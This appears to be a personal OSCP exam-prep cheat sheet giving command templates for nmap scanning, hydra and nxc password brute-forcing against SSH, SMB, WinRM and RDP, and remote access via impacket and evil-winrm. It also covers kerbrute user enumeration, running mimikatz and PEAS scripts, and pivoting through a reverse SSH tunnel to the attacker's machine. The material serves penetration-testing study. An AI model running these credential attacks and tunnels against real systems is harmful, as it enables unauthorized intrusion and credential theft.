> For the complete documentation index, see [llms.txt](https://personal-archive.gitbook.io/oscp-exam-prep/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://personal-archive.gitbook.io/oscp-exam-prep/guideline.md).

# Guideline

## Scanning shit

### nmap

<pre data-overflow="wrap" data-full-width="true"><code><strong>To Run
</strong><strong>    sudo nmap &#x3C;IP>/&#x3C;subnet mask> -o network.nmap
</strong><strong>    sudo nmap -sV -sC -sT -T4 -A --top-ports=100 --open &#x3C;IP> -Pn -o target.commonmap
</strong>    sudo nmap -sV -sC -sT -T4 -A -p- --open &#x3C;IP> -Pn -o target.fullmap

In case of slow scans
    sudo nmap -p- --open &#x3C;IP> -Pn -o target.fullmap
    sudo nmap -sV -sC -sT -T4 -A -p&#x3C;> --open &#x3C;IP> -Pn -o target.&#x3C;port>map

When not sure about service vulnerability (Look for EDB-ID tags)
    sudo nmap -sV -p&#x3C;> --script "vuln" &#x3C;IP> -o target.vulnmap
</code></pre>

Refer to [Service Enumeration](/oscp-exam-prep/commons/service-enumeration.md), for respective services

### Checking Remote access viability (Require Credentials)

#### SSH

{% code overflow="wrap" fullWidth="true" %}

```
hydra -l <username> -P <wordlist> -s <port number> ssh://<target ip address>
hydra -L <username list> -P <wordlist> -s <port number> ssh://<target ip address>

To access:
    ssh <username>@<IP>
    ssh -i <private key> <username>@<IP> -o "IdentitiesOnly=yes"
```

{% endcode %}

#### SMB

{% code overflow="wrap" fullWidth="true" %}

```
nxc smb <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc smb <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    impacket-smbexec [domain\\]<username>[:password]@<IP>
    impacket-psexec [domain\\]<username>[:password]@<IP>
    impacket-wmiexec [domain\\]<username>[:password]@<IP>
```

{% endcode %}

#### WINRM

{% code overflow="wrap" fullWidth="true" %}

```
nxc winrm <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc winrm <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    evil-winrm -i <ip> -u [domain\\]<username> -p <password>
    # You can download files with the download keyword
```

{% endcode %}

#### RDP

{% code overflow="wrap" fullWidth="true" %}

```
nxc rdp <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc rdp <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    xfreerdp /d:<domain name> /u:<username> /p:<password> /v:<IP> /kbd:0x0000040a +clipboard /cert:ignore /size:70% +drive:/kali/directory,KALISHARE
```

{% endcode %}

* Check Service version
* Check CMS Version
* Check LFI vulnerabilities
* Check SQLi injections

#### Kerbrute (Checking valid usernames with DC)

{% code overflow="wrap" fullWidth="true" %}

```
wget https://github.com/ropnop/kerbrute && chmod +x kerbrute
./kerbrute userenum users.txt --dc <DC IP> --domain <domain>
```

{% endcode %}

## Enumeration on inside

#### Linux

* Run linPEAS.sh
* Refer for manual enumeration: [Linux](/oscp-exam-prep/enumeration/linux.md)

#### Windows

* Run winPEASx64.exe or winPEASx32.exe
* Run mimikatz.exe
* Refer for manual enumeration: [Windows](/oscp-exam-prep/enumeration/windows.md)

## Pivoting

* Reverse SSH connection

{% code overflow="wrap" fullWidth="true" %}

```
On Kali Machine:
    sudo systemctl start ssh
    sudo nano /etc/proxychains.conf
    > Append: socks5 127.0.0.1 <Kali Port>

On target Pivot Machine:
    ssh -N -R <Kali Port> kali@<Kali IP>

To verify on Kali Machine:
    ss -ntplu

To use:
    proxychains <command>
```

{% endcode %}

* Refer to [Port Forwarding](/oscp-exam-prep/commons/port-forwarding.md) and [Port Forwarding Extras](/oscp-exam-prep/port-forwarding-extras/linux.md)for other methods
  * Consider using Chisel for a Linux pivot
  * Consider using Chisel, or Plink.exe for Windows pivot